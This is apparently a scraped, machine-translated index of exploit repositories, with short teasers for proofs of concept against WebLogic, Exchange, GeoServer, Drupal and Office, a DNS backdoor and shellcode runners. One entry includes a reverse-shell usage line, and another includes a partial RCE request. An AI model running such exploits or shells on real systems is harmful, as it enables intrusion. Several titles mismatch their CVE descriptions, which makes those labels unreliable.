turing-machine

Esecuzione arbitraria di codice nella Macchina di Turing universale Questa è un'implementazione della Macchina di Turing universale come presentata in Minsky, Computation: Finite and infinite machines, 1967, Capitolo 7. L'input predefinito per la macchina simulata è un exploit che consente...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 Haftungsausschluss: Dieses Tool dient ausschließlich zu Sicherheitstest- und Lernzwecken. Jegliche illegale Nutzung ist untersagt. root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux Weitere Details finden Sie unter:...

cve-2023-34446

CVE-2023-36664: Esecuzione remota di codice in Ghostscript Riepilogo della vulnerabilità CVE ID: CVE-2023-36664 Prodotto: Ghostscript 10.01.2 Tipo di vulnerabilità: Remote Code Execution RCE Panoramica Questa vulnerabilità CVE-2023-36664 è una vulnerabilità di esecuzione arbitraria di codice RCE...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

ddoor

ddoor backdoor multipiattaforma che utilizza record DNS TXT Cos'è ddor? ddor è un backdoor leggero multipiattaforma che utilizza record TXT per eseguire comandi su macchine infette. Caratteristiche Permette a un singolo record TXT di avere comandi separati per macchine Linux e Windows Elenco di...

CVE-2021-40444

CVE-2021-40444 completamente armato Generatore di docx malevolo per sfruttare CVE-2021-40444 Esecuzione di codice remoto in Microsoft Office Word, funziona con file DLL arbitrari. Aggiornamento 31/05/2022 - CVE-2022-30190 - Follina Ora il generatore è in grado di creare il documento necessario pe...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit Este é um módulo do Metasploit que explora CVE-2017-11882 usando o POC abaixo: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Instalação 1. Copie o cve201711882.rb para /usr/share/metasploit-framework/modules/exploits/windows/local/...

go-shellcode

go-shellcode go-shellcode è un repository di runner di Shellcode per Windows e utility di supporto. Le applicazioni caricano ed eseguono Shellcode utilizzando varie chiamate API o tecniche. I runner di Shellcode disponibili includono: CreateFiber CreateProcess CreateProcessWithPipe...

cve-2020-0688-webshell-upload-technique

Exchange Remote Code Execution cve-2020-0688 - RED TEAM MODALITÀ ATTIVA richiede: python3+ UNIVERSALE Implementazione Python per cve-2020-0688, che utilizza una webshell ASPX per l'output di comandi personalizzati Questa è solo una POC per facilitare le dimostrazioni delle vulnerabilità per motiv...

CVE-2021-26855

CVE-2021-26855-PoC Codice PoC dell'exploit per CVE-2021-26855. Il codice originale è stato sviluppato da https://github.com/GreyOrder. Il repository originale è stato eliminato poco dopo l'aggiunta di funzionalità aggiuntive enumerazione utenti, ecc.. Se hai l'ultima versione, invia una pull...

CVE-2024-46209

Redaxo Ricerca sulla Sicurezza CVE-2024-46209, CVE-2024-46210 Ricerca sulla sicurezza di Redaxo CMS v5.17.1 Completato il 09 agosto 2024 Contiene una descrizione dettagliata di: CVE-2024-46210 - Cross-Site Scripting memorizzato tramite caricamento di file nel modulo MediaPool CVE-2024-46209 -...

CVE-2024-9464

CVE-2024-9464: Iniezione di comandi autenticata in Palo Alto Expedition Proof of concept per sfruttare CVE-2024-9464 su dispositivi vulnerabili. Questo script combina il reset amministrativo di CVE-2024-5910 per ottenere l'esecuzione arbitraria di comandi 'non autenticata'. Articolo del blog Caus...

CVE-2022-1388-checker

CVE-2022-1388-checker Einfaches Bash-Skript zur Überprüfung mehrerer Hosts auf CVE-2022-1388 F5. + Verwendung: ./CVE-2022-1388.sh hosts.txt Referenzen https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2019-1221

PoC-Exploit für CVE-2019-1221 Ursprung dieses PoC verloren Zielt auf Internet Explorer 11 32-Bit unter Windows 10 x64 bis RS5 ab Verwendet "VBScript.Encode" / CVE-2019-0768, damit der Exploit bis RS5 funktioniert Führt calc mit WinExec aus...

CVE-2016-16113-POC

Ottieni RCE - Exploit Bludit CMS root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| Uno strumento di sfruttamento automatizzato che combina CVE-2019-17240 Bypass dell'autenticazione e CVE-2019-16113 Caricamento arbitrario di file...

CVE-2024-36401

RCE per CVE-2024-36401 POC per CVE-2024-36401 GeoServer. Questo POC tenterà di stabilire una shell inversa di sistema dai target. Panoramica POC per CVE-2024-36401: RCE per GeoServer versioni precedenti alla 2.25.1, 2.24.3 e 2.23.5 di GeoServer. Questo POC si basa sull'avviso di sicurezza di...

DrupalCVE-2018-7602

Vulnerabilità di esecuzione remota di codice in Drupal CVE-2018-7602 Software interessato: Drupal Metodo: codificare due volte il nell'URL per bypassare il filtro della funzione sanitize Effetto: esecuzione di comandi arbitrari Ambiente della vulnerabilità Eseguire il seguente comando per avviare...

CVE-2020-17496

CVE-2020-17496 root@kitploit: POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo...

hotpatch-for-apache-log4j2

Log4jHotPatch Questo è uno strumento che inietta un agente Java in un processo JVM in esecuzione. L'agente tenta di correggere il metodo lookup di tutte le istanze caricate di org.apache.logging.log4j.core.lookup.JndiLookup per restituire incondizionatamente la stringa "Patched JndiLookup::lookup...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 RCE del pannello web CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Questo exploit funziona falsificando un callback di un agente per un XSS...